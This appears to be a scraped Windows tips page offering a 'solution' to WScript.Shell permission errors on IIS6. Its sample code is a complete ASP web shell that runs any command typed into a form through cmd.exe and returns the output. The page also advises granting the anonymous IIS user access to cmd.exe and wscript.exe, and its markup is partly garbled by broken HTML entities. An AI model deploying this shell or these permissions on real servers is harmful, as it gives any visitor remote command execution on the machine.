Wscript.shell run No permission solution

  

This problem occurred today when I got a client command line program on the server. Later, after several tests, this problem was solved.

Test Platform: windows server 2003 sp2 + iis6

The test code is as follows:

<title>ASP Shell</title&gt ; <%@ Language=VBScript CodePage="936"%> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next

Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

szCMD = Request.Form( ".CMD") If (szCMD <> "") Then szTempFile = Server.Mappath(oFileSys.GetTempName( )) Call oScript.Run (& Quot;cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile , 1, False, 0) End If %> <HTML> <BODY> <FORM action="<%= Request.ServerVariables ("URL") %>& ;quot; method="POST"> <input type=text name=".CMD" size=45 value="<% = szCMD %>"> <input type=submit value="execute command"> </FORM> & Lt;PRE><% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If %& ;gt; </BODY> </HTML>

Give cmd.exe and wscript.exe permissions to the iuser_xxx machine name in the system root directory, to the current folder Read and write permissions. Then restart IIS.

Copyright © Windows knowledge All Rights Reserved